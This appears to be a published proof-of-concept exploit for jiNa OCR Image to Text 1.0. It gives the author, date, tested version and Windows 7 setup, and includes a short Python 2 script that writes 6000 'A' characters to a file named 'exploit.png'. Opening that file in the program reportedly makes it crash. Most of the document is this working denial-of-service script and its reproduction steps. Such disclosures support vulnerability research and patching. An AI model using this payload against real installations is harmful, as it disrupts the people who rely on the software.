jiNa OCR Image to Text 1.0 - Denial of Service (PoC)

# Exploit Title: jiNa OCR Image to Text 1.0 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-09-10
# Software Link: http://www.convertimagetotext.net/downloadsoftware.php
# Tested Version: 1.0
# Tested on OS: Windows 7 32-bit

# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.png".
# Now start the program. Now when you are inside of the program attempt to convert the file "exploit.png" to pdf.
# Now wait and you will see a crash!  

#!/usr/bin/python
   
buffer = "A" * 6000

payload = buffer
try:
    f=open("exploit.png","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"